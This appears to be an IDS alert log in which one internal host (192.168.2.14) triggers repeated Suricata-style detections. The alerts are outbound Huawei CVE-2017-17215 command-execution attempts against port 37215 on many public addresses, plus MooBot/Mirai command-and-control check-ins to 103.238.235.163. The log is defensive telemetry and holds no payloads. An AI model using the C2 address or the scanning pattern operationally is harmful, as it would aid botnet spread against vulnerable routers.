ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 47.152.159.22

Timestamp:	2024-08-01T15:36:01.488089+0200
SID:	2835222
Source Port:	35260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.227.38.220

Timestamp:	2024-08-01T15:36:09.904714+0200
SID:	2835222
Source Port:	40812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.215.135.4

Timestamp:	2024-08-01T15:36:09.869108+0200
SID:	2835222
Source Port:	48166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.41.117.45

Timestamp:	2024-08-01T15:35:45.291455+0200
SID:	2835222
Source Port:	37420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.84.155.189

Timestamp:	2024-08-01T15:35:53.373228+0200
SID:	2835222
Source Port:	40932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.236.40.252

Timestamp:	2024-08-01T15:35:16.323929+0200
SID:	2835222
Source Port:	53386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.243.252.109

Timestamp:	2024-08-01T15:35:58.638789+0200
SID:	2835222
Source Port:	36628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:35:10.435875+0200
SID:	2030490
Source Port:	39046
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.232.244.85

Timestamp:	2024-08-01T15:35:56.485276+0200
SID:	2835222
Source Port:	60900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.52.1.201

Timestamp:	2024-08-01T15:36:11.931795+0200
SID:	2835222
Source Port:	49650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.8.119.27

Timestamp:	2024-08-01T15:36:04.616173+0200
SID:	2835222
Source Port:	50784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 45.247.103.17

Timestamp:	2024-08-01T15:35:23.774896+0200
SID:	2835222
Source Port:	53124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 206.111.242.59

Timestamp:	2024-08-01T15:35:58.619767+0200
SID:	2835222
Source Port:	58638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.243.200.64

Timestamp:	2024-08-01T15:36:48.426826+0200
SID:	2835222
Source Port:	33662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 71.115.192.50

Timestamp:	2024-08-01T15:35:17.154888+0200
SID:	2835222
Source Port:	54194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 14.190.104.245

Timestamp:	2024-08-01T15:35:20.206009+0200
SID:	2835222
Source Port:	43000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.233.214.196

Timestamp:	2024-08-01T15:35:20.545286+0200
SID:	2835222
Source Port:	58386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.194.35.132

Timestamp:	2024-08-01T15:36:24.446212+0200
SID:	2835222
Source Port:	58478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 209.115.82.123

Timestamp:	2024-08-01T15:36:22.341225+0200
SID:	2835222
Source Port:	59416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.222.247.13

Timestamp:	2024-08-01T15:35:17.252793+0200
SID:	2835222
Source Port:	58988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.12.139.121

Timestamp:	2024-08-01T15:35:35.120260+0200
SID:	2835222
Source Port:	44244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 122.23.179.207

Timestamp:	2024-08-01T15:35:40.227754+0200
SID:	2835222
Source Port:	34050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.104.133.65

Timestamp:	2024-08-01T15:36:44.290959+0200
SID:	2835222
Source Port:	35256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.147.220.201

Timestamp:	2024-08-01T15:36:09.901511+0200
SID:	2835222
Source Port:	48228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.8.188.231

Timestamp:	2024-08-01T15:36:01.466687+0200
SID:	2835222
Source Port:	60462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 190.162.246.71

Timestamp:	2024-08-01T15:35:32.994587+0200
SID:	2835222
Source Port:	33568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.206.50.124

Timestamp:	2024-08-01T15:36:29.404340+0200
SID:	2835222
Source Port:	44776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 220.12.152.23

Timestamp:	2024-08-01T15:36:51.589445+0200
SID:	2835222
Source Port:	43886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.55.130.171

Timestamp:	2024-08-01T15:36:55.997345+0200
SID:	2835222
Source Port:	48892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.3.231.133

Timestamp:	2024-08-01T15:35:20.203408+0200
SID:	2835222
Source Port:	53880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.3.133.173

Timestamp:	2024-08-01T15:35:35.120559+0200
SID:	2835222
Source Port:	34000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.39.183.130

Timestamp:	2024-08-01T15:35:50.432459+0200
SID:	2835222
Source Port:	34868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.165.0.32

Timestamp:	2024-08-01T15:35:17.161589+0200
SID:	2835222
Source Port:	35646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.103.192.38

Timestamp:	2024-08-01T15:35:56.488811+0200
SID:	2835222
Source Port:	36874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.242.22.119

Timestamp:	2024-08-01T15:36:14.806046+0200
SID:	2835222
Source Port:	38832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.59.132.86

Timestamp:	2024-08-01T15:36:26.669439+0200
SID:	2835222
Source Port:	39762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.141.27.118

Timestamp:	2024-08-01T15:35:20.205583+0200
SID:	2835222
Source Port:	37652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.101.162.13

Timestamp:	2024-08-01T15:35:03.743384+0200
SID:	2835222
Source Port:	46182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.85.178.108

Timestamp:	2024-08-01T15:36:34.859725+0200
SID:	2835222
Source Port:	40266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.101.184.107

Timestamp:	2024-08-01T15:35:20.206480+0200
SID:	2835222
Source Port:	44026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.170.140.115

Timestamp:	2024-08-01T15:36:22.541887+0200
SID:	2835222
Source Port:	50438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.85.143.114

Timestamp:	2024-08-01T15:35:50.289019+0200
SID:	2835222
Source Port:	37022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.177.166.85

Timestamp:	2024-08-01T15:35:20.210482+0200
SID:	2835222
Source Port:	41962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.134.16.138

Timestamp:	2024-08-01T15:36:29.016618+0200
SID:	2835222
Source Port:	41988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.69.189.64

Timestamp:	2024-08-01T15:36:09.886204+0200
SID:	2835222
Source Port:	53946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 163.120.70.194

Timestamp:	2024-08-01T15:35:53.373273+0200
SID:	2835222
Source Port:	59844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.177.73.124

Timestamp:	2024-08-01T15:35:28.718782+0200
SID:	2835222
Source Port:	42298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.144.76.55

Timestamp:	2024-08-01T15:36:16.201931+0200
SID:	2835222
Source Port:	48940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.4.86.223

Timestamp:	2024-08-01T15:35:21.905362+0200
SID:	2835222
Source Port:	42790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.51.58.47

Timestamp:	2024-08-01T15:36:06.716164+0200
SID:	2835222
Source Port:	46330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.28.164.201

Timestamp:	2024-08-01T15:35:35.117831+0200
SID:	2835222
Source Port:	41824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.130.148.75

Timestamp:	2024-08-01T15:35:40.232788+0200
SID:	2835222
Source Port:	45920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.52.12.132

Timestamp:	2024-08-01T15:35:21.910101+0200
SID:	2835222
Source Port:	47902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:35:26.520024+0200
SID:	2030490
Source Port:	43650
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.189.13.212

Timestamp:	2024-08-01T15:35:16.464731+0200
SID:	2835222
Source Port:	39524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.35.123.103

Timestamp:	2024-08-01T15:36:18.249619+0200
SID:	2835222
Source Port:	47068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 116.71.213.103

Timestamp:	2024-08-01T15:36:22.383684+0200
SID:	2835222
Source Port:	59270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.95.114.137

Timestamp:	2024-08-01T15:36:32.809229+0200
SID:	2835222
Source Port:	60128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.57.201.252

Timestamp:	2024-08-01T15:36:53.712504+0200
SID:	2835222
Source Port:	44436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.32.89.125

Timestamp:	2024-08-01T15:35:43.356860+0200
SID:	2835222
Source Port:	45154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 125.225.95.55

Timestamp:	2024-08-01T15:35:20.545626+0200
SID:	2835222
Source Port:	48904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.226.46.21

Timestamp:	2024-08-01T15:35:20.206226+0200
SID:	2835222
Source Port:	37516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.14.141.166

Timestamp:	2024-08-01T15:36:15.199014+0200
SID:	2835222
Source Port:	36076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.139.68.244

Timestamp:	2024-08-01T15:36:01.488777+0200
SID:	2835222
Source Port:	36524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.5.166.214

Timestamp:	2024-08-01T15:35:21.918404+0200
SID:	2835222
Source Port:	36982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.98.162.135

Timestamp:	2024-08-01T15:36:03.794499+0200
SID:	2835222
Source Port:	47886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.92.56.154

Timestamp:	2024-08-01T15:35:20.209413+0200
SID:	2835222
Source Port:	43462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.191.192.9

Timestamp:	2024-08-01T15:36:57.564486+0200
SID:	2835222
Source Port:	49546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.93.105.169

Timestamp:	2024-08-01T15:36:01.468514+0200
SID:	2835222
Source Port:	52230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.145.34.44

Timestamp:	2024-08-01T15:36:14.809331+0200
SID:	2835222
Source Port:	53532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.219.12.182

Timestamp:	2024-08-01T15:35:17.111012+0200
SID:	2835222
Source Port:	56062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.165.14.107

Timestamp:	2024-08-01T15:35:43.228588+0200
SID:	2835222
Source Port:	39554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.185.146.40

Timestamp:	2024-08-01T15:35:20.209110+0200
SID:	2835222
Source Port:	45084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.176.174.191

Timestamp:	2024-08-01T15:36:09.868887+0200
SID:	2835222
Source Port:	48096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.8.115.65

Timestamp:	2024-08-01T15:35:37.353666+0200
SID:	2835222
Source Port:	54372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.201.95.241

Timestamp:	2024-08-01T15:36:06.680728+0200
SID:	2835222
Source Port:	37428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 23.106.143.175

Timestamp:	2024-08-01T15:36:38.068745+0200
SID:	2835222
Source Port:	45674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.122.92.13

Timestamp:	2024-08-01T15:35:20.545323+0200
SID:	2835222
Source Port:	47622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 42.88.115.24

Timestamp:	2024-08-01T15:35:17.157612+0200
SID:	2835222
Source Port:	35318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.26.235.72

Timestamp:	2024-08-01T15:36:48.381713+0200
SID:	2835222
Source Port:	37288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 175.81.117.133

Timestamp:	2024-08-01T15:36:06.688797+0200
SID:	2835222
Source Port:	50784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 155.189.35.205

Timestamp:	2024-08-01T15:36:09.888203+0200
SID:	2835222
Source Port:	36004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.159.24.204

Timestamp:	2024-08-01T15:36:52.655044+0200
SID:	2835222
Source Port:	35362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.18.166.95

Timestamp:	2024-08-01T15:36:26.559476+0200
SID:	2835222
Source Port:	34818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.23.159.50

Timestamp:	2024-08-01T15:35:20.545409+0200
SID:	2835222
Source Port:	38288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.10.247.77

Timestamp:	2024-08-01T15:36:09.905263+0200
SID:	2835222
Source Port:	49826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.54.52.79

Timestamp:	2024-08-01T15:36:16.182275+0200
SID:	2835222
Source Port:	42684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.87.117.169

Timestamp:	2024-08-01T15:35:16.382978+0200
SID:	2835222
Source Port:	33270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.147.153.63

Timestamp:	2024-08-01T15:36:18.255124+0200
SID:	2835222
Source Port:	39852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.58.70.124

Timestamp:	2024-08-01T15:36:48.435616+0200
SID:	2835222
Source Port:	60456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.42.176.105

Timestamp:	2024-08-01T15:35:16.571536+0200
SID:	2835222
Source Port:	48538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.211.68.135

Timestamp:	2024-08-01T15:36:48.417962+0200
SID:	2835222
Source Port:	41968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.27.194.23

Timestamp:	2024-08-01T15:35:20.216200+0200
SID:	2835222
Source Port:	49628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.20.226.139

Timestamp:	2024-08-01T15:36:24.453072+0200
SID:	2835222
Source Port:	46764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 194.193.18.127

Timestamp:	2024-08-01T15:35:20.210392+0200
SID:	2835222
Source Port:	51976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.253.200.39

Timestamp:	2024-08-01T15:36:30.755532+0200
SID:	2835222
Source Port:	56984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.104.209.122

Timestamp:	2024-08-01T15:35:21.871288+0200
SID:	2835222
Source Port:	59080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.170.250.88

Timestamp:	2024-08-01T15:36:36.949016+0200
SID:	2835222
Source Port:	54970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 196.207.169.224

Timestamp:	2024-08-01T15:35:16.336761+0200
SID:	2835222
Source Port:	49990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

